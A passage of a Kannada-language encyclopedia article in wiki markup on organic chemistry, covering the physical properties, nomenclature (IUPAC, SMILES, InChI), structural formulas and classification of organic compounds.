[[ಸ್ಫಟಿಕೀಕರಣ|ಸ್ಫಟಿಕೀಕರಣವು]] [[ಅಣು ಜ್ಯಾಮಿತಿ|ಅಣು ಜ್ಯಾಮಿತಿಯನ್ನು]] ಪತ್ತೆ ಹಚ್ಚಲು ಬಳಸುವ ಸ್ಪಷ್ಟ ವಿಧಾನವಾಗಿದೆ, ಆದರೆ ವಸ್ತುವಿನ ಬಿಡಿ ಸ್ಫಟಿಕಗಳು ಲಭ್ಯವಿರಬೇಕು ಹಾಗೂ ಸ್ಫಟಿಕವು ವಸ್ತುವನ್ನು ಪ್ರತಿನಿಧಿಸುವಂತಿರಬೇಕು ಎಂಬುದೊಂದು ಮಿತಿಯಿದೆ. ಸೂಕ್ತ ಸ್ಫಟಿಕವು ಲಭ್ಯವಿದ್ದರೆ ಕೆಲ ಗಂಟೆಗಳಲ್ಲೇ ರಚನೆಯನ್ನು ನಿರ್ಣಯಿಸಬಲ್ಲ ಉಚ್ಚ ಸ್ವಯಂಚಲಿ ತಂತ್ರಾಂಶಗಳು ಲಭ್ಯವಿವೆ. ಸಾಂಪ್ರದಾಯಿಕ ರೋಹಿತದರ್ಶಕ ವಿಧಾನಗಳಾದ [[ಅವಗೆಂಪು ರೋಹಿತದರ್ಶನ]], [[ದ್ಯುತಿ ಭ್ರಮಣ]], [[UV/VIS ರೋಹಿತದರ್ಶನ|UV/VIS ರೋಹಿತದರ್ಶನಗಳು]] ಸಂಯುಕ್ತಗಳ ನಿರ್ದಿಷ್ಟ ವರ್ಗಕ್ಕೆ ಮಾತ್ರ ಉಪಯುಕ್ತವಾದ ರಚನೆಯ ಬಗ್ಗೆ ಅನಿರ್ದಿಷ್ಟ ಮಾಹಿತಿಯನ್ನು ಮಾತ್ರ ನೀಡುತ್ತವೆ. [[ವಿಶ್ಲೇಷಕ ರಸಾಯನಶಾಸ್ತ್ರ|ವಿಶ್ಲೇಷಕ ರಸಾಯನಶಾಸ್ತ್ರದ]] ಲೇಖನದಲ್ಲಿ ಹೆಚ್ಚಿನ ವಿಧಾನಗಳ ಬಗ್ಗೆ ವಿವರಿಸಲಾಗಿದೆ. == ಗುಣಲಕ್ಷಣಗಳು == ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳ ಆಸಕ್ತಿದಾಯಕ ಭೌತಿಕ ಲಕ್ಷಣಗಳು ಪರಿಮಾಣಾತ್ಮಕ ಹಾಗೂ ಗುಣಾತ್ಮಕ ವೈಶಿಷ್ಟ್ಯಗಳನ್ನು ಹೊಂದಿವೆ. ಪರಿಮಾಣಾತ್ಮಕ ಮಾಹಿತಿಗಳಲ್ಲಿ ಕರಗುವ ಬಿಂದು,ಕುದಿಯುವ ಬಿಂದು ಹಾಗೂ ವಕ್ರೀಭವನ ಬಿಂದುಗಳು ಸೇರಿವೆ. ಗುಣಾತ್ಮಕ ಲಕ್ಷಣಗಳಲ್ಲಿ ವಾಸನೆ,ವಿಲಯನತ್ವ ಹಾಗೂ ವರ್ಣಗಳು ಸೇರಿವೆ. ==== ಕರಗುವ ಹಾಗೂ ಕುದಿಯುವ ಲಕ್ಷಣಗಳು ==== ಅನೇಕ ಅಜೈವಿಕ ವಸ್ತುಗಳ ಹಾಗಲ್ಲದೇ, ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಕರಗುತ್ತವೆ ಹಾಗೂ ಕೆಲವು ಕುದಿಯುತ್ತವೆ. ಹಿಂದೆ, ಕರಗುವ ಬಿಂದು (m.p.) ಹಾಗೂ ಕುದಿಯುವ ಬಿಂದುಗಳು (b.p.) ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳ ಶುದ್ಧತೆ ಹಾಗೂ ಸ್ವರೂಪವನ್ನು ಅರಿಯುವ ನಿರ್ಣಾಯಕ ಮಾಹಿತಿಗಳನ್ನು ನೀಡುತ್ತಿದ್ದವು. ಕರಗುವ ಹಾಗೂ ಕುದಿಯುವ ಬಿಂದುಗಳು ಅಣುಗಳ ಧೃವೀಯತೆ ಹಾಗೂ ಅಣುತೂಕಗಳ ಮೇಲೆ ಆಧಾರಿತವಾಗಿವೆ. ಕೆಲ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು, ವಿಶೇಷವಾಗಿ ಅನುರೂಪಿಗಳು, ಉದ್ಧೃತವಾಗಿರುತ್ತವೆ, ಅಂದರೆ ಅವು ಕರಗದೇ ಆವಿಯಾಗುತ್ತವೆ. ಉದ್ಧೃತವಾಗಬಲ್ಲ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತದ ಜನಪ್ರಿಯ ಉದಾಹರಣೆಯೆಂದರೆ ನುಸಿಗುಳಿಗೆಯಲ್ಲಿನ ವಾಸನಾದ್ರವ್ಯವಾದ ಪ್ಯಾರಾ-ಡೈಕ್ಲೋರೋಬೆಂಜೀನ್‌. ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು 300&nbsp;°Cಗಿಂತ ಹೆಚ್ಚಿನ ತಾಪಮಾನದಲ್ಲಿ ಹೆಚ್ಚಿನ ಮಟ್ಟದ ಸ್ಥಿರತೆ ಕಾಪಾಡಿಕೊಳ್ಳಲಾರವಾದರೂ, ಕೆಲವು ಅಪವಾದಗಳೂ ಇವೆ. ==== ಬಣ್ಣ ==== ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ಸಾಧಾರಣವಾಗಿ ವರ್ಣರಹಿತ ಇಲ್ಲವೇ ಬೆಳ್ಳಗಿರುತ್ತವೆ. ಆದರೆ ಅನೇಕ ನಿಕಟ ಬಂಧಕಗಳನ್ನು ಹೊಂದಿರುವ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳ ವಿಚಾರದಲ್ಲಿ ಸನ್ನಿವೇಶ ಬೇರೆಯೇ ಇದೆ. ದ್ವಿಬಂಧಕಗಳು "ಸಂಯೋಗ"ಗೊಂಡಿರುವ ಸಂಯುಕ್ತಗಳು ಕಡುವರ್ಣದವಾಗಿರಬಹುದು. ಜೈವಿಕ ವರ್ಣದ್ರವ್ಯಗಳಾದ [[ಕೆರೊಟೀನ್‌]] ಹಾಗೂ [[ಹೀಮ್‌|ಹೀಮ್‌ಗಳು]] "ಸಂಯೋಜನೆ" ಹಾಗೂ ವರ್ಣಗಳ ನಡುವಿನ ಸಂಬಂಧವನ್ನು ವಿಷದೀಕರಿಸುತ್ತವೆ. ಅಶುದ್ಧ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ಹಾಗೂ ಅನೇಕ ಜೈವಿಕ ವಸ್ತುಗಳು ಗಾಢವರ್ಣದ ಕಲ್ಮಶಗಳ ಉಪಸ್ಥಿತಿಯನ್ನು ತೋರುವಂತೆ ಹಳದಿ ಇಲ್ಲವೇ ಕಂದು ವರ್ಣದವಾಗಿರುತ್ತವೆ. ==== ವಿಲಯನತ್ವ ==== ತಟಸ್ಥ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ನೀರಿನಿಂದ ಒದ್ದೆಯಾಗಲಾರವು, ಅಂದರೆ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ದ್ರಾವಕಗಳಿಗಿಂತ [[ನೀರಿನಲ್ಲಿ]] ಕಡಿಮೆ [[ಕರಗುತ್ತವೆ]]. ಇದಕ್ಕೆ ಅಪವಾದವೆಂದರೆ ಅಯಾನೀಕರಿಸಬಲ್ಲ ಗುಂಪುಗಳನ್ನು ಹೊಂದಿದ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ಹಾಗೂ [[ಜಲಜನಕ ಬಂಧಕ|ಜಲಜನಕ ಬಂಧಕವಾಗುವ]] ಅಲ್ಪ [[ಅಣುತೂಕ|ಅಣುತೂಕದ]] [[ಆಲ್ಕೋಹಾಲ್‌ಗಳು]], [[ಅಮೈನ್‌|ಅಮೈನ್‌ಗಳು]], ಹಾಗೂ [[ಕಾರ್ಬಾಕ್ಸಿಲ್‌ ಆಮ್ಲಗಳು]]. ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ದ್ರಾವಕಗಳಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ಕರಗಬಲ್ಲವು. [[ಈಥರ್‌]] ಅಥವಾ [[ಈಥೈಲ್‌ ಆಲ್ಕೋಹಾಲ್‌|ಈಥೈಲ್‌ ಆಲ್ಕೋಹಾಲ್‌ಗಳಂತಹಾ]] ಶುದ್ಧ ವಸ್ತುಗಳು ಅಥವಾ ಮಿಶ್ರಣಗಳು, ಅನೇಕ [[ಪೆಟ್ರೋಲಿಯಂ ಈಥರ್‌|ಪೆಟ್ರೋಲಿಯಂ ಈಥರ್‌ಗಳು]] ಹಾಗೂ [[ಶ್ವೇತ ಮದ್ಯಸಾರ|ಶ್ವೇತ ಮದ್ಯಸಾರದಂತಹಾ]] ಮೇಣದ ದ್ರಾವಕ, ಅಥವಾ ಶುದ್ಧ ಅಥವಾ ಮಿಶ್ರಿತ ಪೆಟ್ರೋಲಿಯಂನಿಂದ ಪಡೆದ ಅನೇಕ ಶುದ್ಧ ಅಥವಾ ಮಿಶ್ರಿತ ಅಥವಾ ಸುಗಂಧಿತ ದ್ರಾವಕಗಳು ಅಥವಾ ಕೀಲೆಣ್ಣೆ [[ಅಂಶ|ಅಂಶಗಳನ್ನು]] ಭೌತಿಕ ಪ್ರತ್ಯೇಕತೆ ಅಥವಾ ರಾಸಾಯನಿಕ ಪರಿವರ್ತನೆಗಳ ಮೂಲಕ ಪಡೆಯುವ ದ್ರಾವಕಗಳು. ಅನೇಕ ದ್ರಾವಕಗಳು [[ದ್ರಾವಕದ ರೀತಿಯ]] ಮೇಲೆ ಆಧಾರಿತವಾಗಿ ಹಾಗೂ ಲಭ್ಯವಿದ್ದರೆ ಕಾರ್ಯಸಂಬಂಧಿ ವಿವಿಧ ಮಟ್ಟದ ವಿಲಯನತ್ವವನ್ನು ಹೊಂದಿರುತ್ತವೆ. ==== ಘನಸ್ಥಿತಿ ಲಕ್ಷಣಗಳು ==== ಅನೇಕ ವಿಶೇಷ ಲಕ್ಷಣಗಳು ಅನ್ವಯಗಳ ಮೇಲೆ ಆಧಾರಿತವಾಗಿ ಆಸಕ್ತಿದಾಯಕವಾಗಿರುತ್ತವೆ, e.g. [[ಪೀಜೋವಿದ್ಯುತ್‌]], ವಿದ್ಯುತ್‌ ವಾಹಕತ್ವ (ನೋಡಿ [[ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಲೋಹಗಳು]]), ಹಾಗೂ ವಿದ್ಯುತ್‌-ದ್ಯುತಿಯಂತಹಾ (e.g. [[ಅರೇಖೀಯ ದೃಷ್ಟಿಶಾಸ್ತ್ರ]]) ಉಷ್ಣ-ಯಾಂತ್ರಿಕ ಹಾಗೂ ವಿದ್ಯುತ್‌-ಯಾಂತ್ರಿಕ ಲಕ್ಷಣಗಳು. ಚಾರಿತ್ರಿಕ ಕಾರಣಗಳಿಗೋಸ್ಕರ, ಈ ಲಕ್ಷಣಗಳು [[ಪಾಲಿಮರ್‌ ವಿಜ್ಞಾನ]] ಹಾಗೂ [[ವಸ್ತುವಿಜ್ಞಾನ ಕ್ಷೇತ್ರ|ವಸ್ತುವಿಜ್ಞಾನ ಕ್ಷೇತ್ರಗಳ]] ಪ್ರಮುಖ ವಿಷಯಗಳಾಗಿವೆ. == ಪರಿಭಾಷೆ == [[ಚಿತ್ರ:OrgNom.svg|thumb|center|760px|ಒಂದೇ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಕ್ಕೆ ಅನೇಕ ಹೆಸರುಗಳು ಹಾಗೂ ವರ್ಣನೆಗಳು.‎]] ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳ ಹೆಸರುಗಳು ಒಂದೋ ಕ್ರಮಾತ್ಮಕವಾಗಿ, ತರ್ಕನಿಯಮಾನುಸಾರವಾಗಿದ್ದು ಇಲ್ಲವೇ ಕ್ರಮವಿಲ್ಲದೇ ಅನೇಕ ಸಂಪ್ರದಾಯಗಳನ್ನು ಪಾಲಿಸಿ ನೀಡಲಾಗುತ್ತದೆ. ಕ್ರಮಾತ್ಮಕ ಪರಿಭಾಷೆಯು [[IUPAC|IUPACಯ]] ಶಿಫಾರಸುಗಳಿಗೆ ಬದ್ಧವಾಗಿರುತ್ತದೆ. ಕ್ರಮಾತ್ಮಕ ಪರಿಭಾಷೆಯು ಆಸಕ್ತಿಯ ಅಣುವಿನ ಮೂಲರಚನೆಯ ಹೆಸರಿನಿಂದ ಆರಂಭವಾಗುತ್ತದೆ. ಮೂಲರಚನೆಯ ಹೆಸರನ್ನು ನಂತರ ಪೂರ್ವಪ್ರತ್ಯಯ, ಅಂತ್ಯಪ್ರತ್ಯಯ ಹಾಗೂ ಸಂಖ್ಯೆಗಳನ್ನು ಸೇರಿಸಿ ರಚನೆಯನ್ನು ಸೂಚಿಸುವಂತೆ ಬದಲಿಸಲಾಗುತ್ತದೆ. ದಶಲಕ್ಷಗಳಷ್ಟು ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳು ತಿಳಿದಿರುವಾಗ, ಕ್ರಮಾತ್ಮಕ ಹೆಸರುಗಳ ಕಟ್ಟುನಿಟ್ಟು ಪಾಲನೆ ತೊಡಕಾಗಬಲ್ಲದು. ಆದ್ದರಿಂದ, IUPAC ಶಿಫಾರಸುಗಳನ್ನು ಸರಳ ಸಂಯುಕ್ತಗಳಿಗೆ ಮಾತ್ರ ಬಳಸಿ, ಸಂಕೀರ್ಣ ಪರಮಾಣುಗಳಿಗೆ ಬಳಸಲಾಗುವುದಿಲ್ಲ. ಕ್ರಮಾತ್ಮಕ ನಾಮಕರಣವನ್ನು ಬಳಸಲು ಸಂರಚನೆ ಹಾಗೂ ಮೂಲ ಸಂರಚನೆಗಳ ಬಗ್ಗೆ ತಿಳಿದಿರಬೇಕಾದ್ದು ಅತ್ಯವಶ್ಯ. ಮೂಲ ಸಂರಚನೆಗಳೆಂದರೆ ಬದಲಿಕೆಯಿಲ್ಲದ ಹೈಡ್ರೋಕಾರ್ಬನ್‌ಗಳು, ವಿಭಿನ್ನಆವರ್ತನೆ, ಹಾಗೂ ಏಕಚಟುವಟಿಕಾತ್ಮಕ ರೂಪಾಂತರಗಳೂ ಸೇರಿವೆ. ಕ್ರಮವಲ್ಲದ ಪರಿಭಾಷೆಯು ಕನಿಷ್ಟ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ರಸಾಯನಶಾಸ್ತ್ರ ತಜ್ಞರಿಗಾದರೂ ಸರಳ ಹಾಗೂ ಸ್ಪಷ್ಟವಾಗಿರುತ್ತವೆ. ಕ್ರಮವಲ್ಲದ ಹೆಸರುಗಳು ಸಂಯುಕ್ತದ ಸಂರಚನೆಯನ್ನು ಸೂಚಿಸುವುದಿಲ್ಲ. ಕ್ರಮವಲ್ಲದ ಹೆಸರುಗಳು ಬಹಳಷ್ಟು ಮಟ್ಟಿಗೆ ನೈಸರ್ಗಿಕ ಉತ್ಪನ್ನಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ಸಂಕೀರ್ಣ ಪರಮಾಣುಗಳಿಗೆ ಸಮಾನವಾಗಿರುತ್ತವೆ. ಆದ್ದರಿಂದ, ಕ್ರಮವಿಲ್ಲದ ಹೆಸರನ್ನು ಹೊಂದಿರುವ [[ಲೈಸರ್ಜಿಕ್‌ ಆಮ್ಲ ಡೈಈಥೈಲಮೈಡ್‌]] ಅನ್ನು ಕ್ರಮಾತ್ಮಕವಾಗಿ (6aR,9R)-N,N-ಡೈಈಥೈಲ್-7-ಮೀಥೈಲ್-4,6,6a,7,8,9-ಹೆಕ್ಸಾಹೈಡ್ರೋಇಂಡೋಲೋ-[4,3-fg] ಕ್ವಿನೋಲಿನ್-9-ಕಾರ್ಬಾಕ್ಸಮೈಡ್ ಎಂದು ಹೆಸರಿಸಲಾಗಿದೆ. ಹೆಚ್ಚಿದ ಗಣಕೀಕರಣದಿಂದಾಗಿ ಗಣಕ/ಯಂತ್ರಗಳು ಬಳಸಲುದ್ದೇಶಿಸಿದ ಇತರೆ ನಾಮಕರಣ ವಿಧಾನಗಳು ವಿಕಾಸಗೊಂಡಿವೆ. ಎರಡು ಜನಪ್ರಿಯ ಮಾದರಿಗಳೆಂದರೆ [[SMILES]] ಹಾಗೂ [[InChI]]. === ರಚನಾತ್ಮಕ ರೇಖಾ/ಚಿತ್ರಗಳು === ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಪರಮಾಣುಗಳನ್ನು ಚಿತ್ರಗಳ ಅಥವಾ [[ಸಂರಚನಾ ಸೂತ್ರಗಳು]] ಹಾಗೂ ಚಿತ್ರ ಹಾಗೂ ರಾಸಾಯನಿಕ ಚಿಹ್ನೆಗಳ ಸಂಯೋಜನೆಯ ಮೂಲಕ ಸಾಮಾನ್ಯವಾಗಿ ವಿವರಿಸಲಾಗುತ್ತದೆ. [[ರೇಖೆ-ಕೋನ ಸೂತ್ರ|ರೇಖೆ-ಕೋನ ಸೂತ್ರವು]] ಸರಳ ಹಾಗೂ ಸ್ಪಷ್ಟವಾಗಿದೆ. ಈ ವ್ಯವಸ್ಥೆಯಲ್ಲಿ ಅಂತ್ಯಬಿಂದುಗಳು ಹಾಗೂ ಪ್ರತಿರೇಖೆಯ ಛೇದನಗಳು ಒಂದು ಇಂಗಾಲ ಹಾಗೂ ಜಲಜನಕದ ಪರಮಾಣುಗಳನ್ನು ಸ್ಫುಟವಾಗಿ ಲೇಖಿಸಬಹುದು ಅಥವಾ ಸಂಯೋಗ ಸಾಮರ್ಥ್ಯ ನಾಲ್ಕನ್ನು ಹೊಂದಿರುವ ಇಂಗಾಲದ ಉಪಸ್ಥಿತಿಯಿಂದ ಅವುಗಳಿವೆ ಎಂದು ಅಂದಾಜಿಸಬಹುದು. ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳನ್ನು ಚಿತ್ರಗಳ ಮೂಲಕ ಸೂಚಿಸುವುದು ಎಲ್ಲಾ ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳಲ್ಲಿ ಇಂಗಾಲವು ನಾಲ್ಕು ಬಂಧಕಗಳನ್ನು ಹೊಂದಿದ್ದು, ಆಮ್ಲಜನಕ ಎರಡು, ಜಲಜನಕ ಒಂದು, ಹಾಗೂ ಸಾರಜನಕ ಮೂರನ್ನು ಹೊಂದಿರುತ್ತದೆ ಎಂಬ ವಿಚಾರದಿಂದ ಸರಳವಾಗಿದೆ. == ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳ ವರ್ಗೀಕರಣ == === ಕಾರ್ಯಸಂಬಂಧಿ ಗುಂಪುಗಳು === {{Main|Functional group}} [[ಚಿತ್ರ:Acetic acid atoms.svg|right|thumb|ಕಾರ್ಬೋಆಕ್ಸಿಲಿಕ್‌ ಆಮ್ಲಗಳ ಕುಟುಂಬವು ಕಾರ್ಬಾಕ್ಸಿಲ್‌ (-COOH) ಕಾರ್ಯಕಾರಿ ಗುಂಪನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಅಸೆಟಿಕ್‌ ಆಮ್ಲವು ಒಂದು ಉದಾಹರಣೆ.]] ಕಾರ್ಯಸಂಬಂಧಿ ಗುಂಪುಗಳ ಕಲ್ಪನೆಯು ಸಂರಚನೆಗಳನ್ನು ವರ್ಗೀಕರಿಸಲು ಹಾಗೂ ಲಕ್ಷಣಗಳನ್ನು ಅಂದಾಜಿಸಲು ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರದ ಕೇಂದ್ರವಾಗಿದೆ. ಕಾರ್ಯಸಂಬಂಧಿ ಗುಂಪು ಎಂದರೆ ಪರಮಾಣು ಘಟಕವಾಗಿದ್ದು ಕಾರ್ಯಸಂಬಂಧಿ ಗುಂಪಿನ ಕಾರ್ಯಶೈಲಿಯನ್ನು ಒಂದು ಮಿತಿಯಲ್ಲಿ ಕೆಲ ವಿಧದ ಪರಮಾಣುಗಳಲ್ಲಿ ಸಮಾನವಾಗಿರುತ್ತದೆ ಎಂದು ಅಂದಾಜಿಸಲಾಗಿರುತ್ತದೆ. ಕಾರ್ಯಸಂಬಂಧಿ ಗುಂಪುಗಳು ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳ ರಾಸಾಯನಿಕ ಹಾಗೂ ಭೌತಿಕ ಲಕ್ಷಣಗಳ ಮೇಲೆ ನಿರ್ಣಾಯಕ ಪ್ರಭಾವ ಬೀರಬಲ್ಲವು. ಪರಮಾಣುಗಳನ್ನು ಅವುಗಳ ಕಾರ್ಯಸಂಬಂಧಿ ಗುಂಪುಗಳ ಆಧಾರದ ಮೇಲೆ ವರ್ಗೀಕರಿಸಲಾಗಿದೆ. ಉದಾಹರಣೆಗೆ ಎಲ್ಲಾ ಆಲ್ಕೋಹಾಲ್‌ಗಳು, C-O-H ಉಪ-ಘಟಕವನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಎಲ್ಲಾ ಆಲ್ಕೋಹಾಲ್‌ಗಳು ಬಹುಮಟ್ಟಿಗೆ ಜಲಾರ್ದ್ರೀಯವಾಗಿ ಈಸ್ಟರ್‌ಗಳಾಗಿ ನಂತರ ಸಾಮಾನ್ಯವಾಗಿ ಅನುಗುಣವಾದ ಹಾಲೈಡ್‌ಗಳಾಗಿ ಮಾರ್ಪಡಿಸಲು ಸಾಧ್ಯ. ಬಹಳಷ್ಟು ಕಾರ್ಯಸಂಬಂಧಿ ಗುಂಪುಗಳು ಭಿನ್ನಾಣುಗಳನ್ನು (C ಮತ್ತು H ಅಲ್ಲದ ಪರಮಾಣುಗಳು) ಹೊಂದಿರುತ್ತದೆ. ಇಂಗಾಲೀಯ/ಜೈವಿಕ/ಸಾವಯವ ಸಂಯುಕ್ತಗಳನ್ನು ಕಾರ್ಯಸಂಬಂಧಿ ಗುಂಪುಗಳ ಪ್ರಕಾರ ಆಲ್ಕೋಹಾಲ್‌ಗಳು, ಕಾರ್ಬೋಆಕ್ಸಿಲ್‌ ಆಮ್ಲಗಳು, ಅಮೈನ್‌ಗಳು, etc ಎಂದು ವರ್ಗೀಕರಿಸಲಾಗುತ್ತದೆ. === ಮೇದಸ್ಸಿನ ಸಂಯುಕ್ತಗಳು === {{Main|Aliphatic compound}} ಮೇದಸ್ಸಿನ ಹೈಡ್ರೋಕಾರ್ಬನ್‌ಗಳನ್ನು ಅವುಗಳ [[ಕ್ಲೇದನ]] ಸ್ಥಿತಿಯ ಮೇಲೆ ಆಧಾರಿತವಾಗಿ ಮೂರು [[ಸದೃಶ ಸರಣಿ|ಸದೃಶ ಸರಣಿಗಳ]] ಗುಂಪುಗಳಾಗಿ ವಿಂಗಡಿಸಲಾಗಿದೆ: * ಮೇಣವಸ್ತುಗಳು, ಇವು ದ್ವಿಬಂಧಕ ಅಥವಾ [[ತ್ರಿಬಂಧಕ|ತ್ರಿಬಂಧಕವಿಲ್ಲದ]] ಅಲ್ಕೇನ್‌ಗಳು, * ಓಲೆಫಿನ್‌‌ಗಳು ಅಥವಾ ಅಲ್ಕೀನ್‌ಗಳು ಒಂದು ಅಥವಾ ಹೆಚ್ಚಿನ ದ್ವಿಬಂಧಕಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ, i.e ಡೈ-ಓಲೆಫಿನ್‌ಗಳು (ಡೈಯೀನ್‌ಗಳು) ಅಥವಾ ಪಾಲಿ-ಓಲೆಫಿನ್‌ಗಳು. * ಅಲ್ಕೈನ್‌ಗಳು, ಇವು ಒಂದು ಅಥವಾ ಹೆಚ್ಚಿನ ತ್ರಿಬಂಧಕಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಗುಂಪಿನ ಉಳಿದವನ್ನು ಲಭ್ಯವಿರುವ ಕಾರ್ಯಸಂಬಂಧಿ ಗುಂಪುಗಳಿಗನುಸಾರವಾಗಿ ವರ್ಗೀಕರಿಸಲಾಗುತ್ತದೆ. ಅಂತಹಾ ಸಂಯುಕ್ತಗಳು "ನೇರ-ಸರಪಣಿಯ," ಶಾಖಾ-ಸರಪಣಿಯ ಅಥವಾ ಆವರ್ತದವಾಗಿರಬಹುದು. ವರ್ಗೀಕರಣದ ಮಟ್ಟವು ಪೆಟ್ರೋಲಿಯಂ ರಸಾಯನಶಾಸ್ತ್ರದಲ್ಲಿ [[ಆಕ್ಟೇನ್‌ ಸಂಖ್ಯೆ]] ಅಥವಾ [[ಸೀಟೇನ್‌ ಸಂಖ್ಯೆ]] ಇದ್ದಂತೆ ಲಕ್ಷಣಗಳ ಮೇಲೆ ಪ್ರಭಾವ ಬೀರುತ್ತದೆ. ([[ಅಲಿಸೈಕ್ಲಿಕ್‌]] ಸಂಯುಕ್ತಗಳು ಹಾಗೂ ಕ್ಲೇದಿತವಲ್ಲದ ಸಂಯುಕ್ತಗಳೆರಡೂ ಆವರ್ತ ರೂಪಾಂತರಗಳಾಗಿರುತ್ತವೆ. ಹೆಚ್ಚಿನ ಸ್ಥಿರತೆಯ ವರ್ತುಲಗಳು ಐದು ಅಥವಾ ಆರು ಇಂಗಾಲ ಪರಮಾಣುಗಳನ್ನು ಹೊಂದಿದ್ದರೆ, ದೊಡ್ಡ ವರ್ತುಲಗಳು(ಮ್ಯಾಕ್ರೋಸೈಕಲ್‌ಗಳು) ಹಾಗೂ ಚಿಕ್ಕ ವರ್ತುಲಗಳು ಸಾಮಾನ್ಯವಾಗಿವೆ. ಅತಿ ಸಣ್ಣ ಸೈಕ್ಲೋಆಲ್ಕೇನ್‌ ಕುಟುಂಬವೆಂದರೆ ಮೂರು ಸದಸ್ಯರ [[ಸೈಕ್ಲೋಪ್ರೊಪೇನ್‌]] ((CH<sub>2</sub>)<sub>3</sub>). ಕ್ಲೇದಿತ ಆವರ್ತ ಸಂಯುಕ್ತಗಳು ಏಕ ಬಂಧಕವನ್ನು ಮಾತ್ರ ಹೊಂದಿದ್ದರೆ, ಸುವಾಸಿತ ವರ್ತುಲಗಳು ಸರದಿಯ (ಅಥವಾ ಸಂಯೋಗದ) ದ್ವಿಬಂಧಕವನ್ನು ಹೊಂದಿರುತ್ತವೆ. [[ಸೈಕ್ಲೋಆಲ್ಕೇನ್‌|ಸೈಕ್ಲೋಆಲ್ಕೇನ್‌ಗಳು]] ಬಹುಬಂಧಕಗಳನ್ನು ಹೊಂದಿರುವುದಿಲ್ಲ, ಆದರೆ [[ಸೈಕ್ಲೋಆಲ್ಕೀನ್‌|ಸೈಕ್ಲೋಆಲ್ಕೀನ್‌ಗಳು]] ಹಾಗೂ ಸೈಕ್ಲೋಆಲ್ಕೈನ್‌ಗಳು ಹೊಂದಿರುತ್ತವೆ. === ಸುಗಂಧಿತ ಸಂಯುಕ್ತಗಳು === [[ಚಿತ್ರ:Benzene-resonance-structures.svg|right|thumb|ಬೆಂಜೀನ್‌ ಚಿರಪರಿಚಿತ ಸುಗಂಧಿತ ಸಂಯುಕ್ತಗಳಲ್ಲಿ ಒಂದಲ್ಲದೇ ಇದು ಸುಗಂಧಿತ ಸಂಯುಕ್ತಗಳಲ್ಲೇ ಅತ್ಯಂತ ಸರಳವಾದುದಾಗಿದೆ.]] [[ಸುಗಂಧಿತ]] ಹೈಡ್ರೋಕಾರ್ಬನ್‌ಗಳು [[ಸಂಯೋಜಿತ]] ದ್ವಿಬಂಧಕಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಪ್ರಮುಖ ಉದಾಹರಣೆಯೆಂದರೆ [[ಬೆಂಜೀನ್‌]], [[ಕೆಕುಲೇ]] ಇದನ್ನು ಸೂತ್ರೀಕರಿಸಿದ್ದುದಲ್ಲದೇ [[ಕೇಂದ್ರೀಕರಣ]] ಅಥವಾ [[ಅನುರಣನ]] ಮೂಲತತ್ವದ ಮೂಲಕ ಅದರ ಸಂರಚನೆಯನ್ನು ವಿವರಿಸಿದ್ದರು. "ಸಾಂಪ್ರದಾಯಿಕ" ಆವರ್ತ ಸಂಯುಕ್ತಗಳಿಗೆ, ಸುಗಂಧತ್ವವು n ಒಂದು ಪೂರ್ಣಾಂಕವಾಗಿರುವಾಗ 4n + 2 ಸಂಖ್ಯೆಯ ಕೇಂದ್ರೀಕೃತ ಪೈ ಎಲೆಕ್ಟ್ರಾನ್‌ಗಳ ಲಭ್ಯತೆಯ ಮೇರೆಗೆ ಲಭ್ಯವಾಗುತ್ತದೆ. ನಿರ್ದಿಷ್ಟ ಅಸ್ಥಿರತೆಯು ([[ಸುಗಂಧತ್ವವಲ್ಲದ್ದು]]) 4n ಸಂಯೋಜಿತ ಪೈ ಎಲೆಕ್ಟ್ರಾನ್‌ಗಳ ಲಭ್ಯತೆಯ ಮೇರೆಗೆ 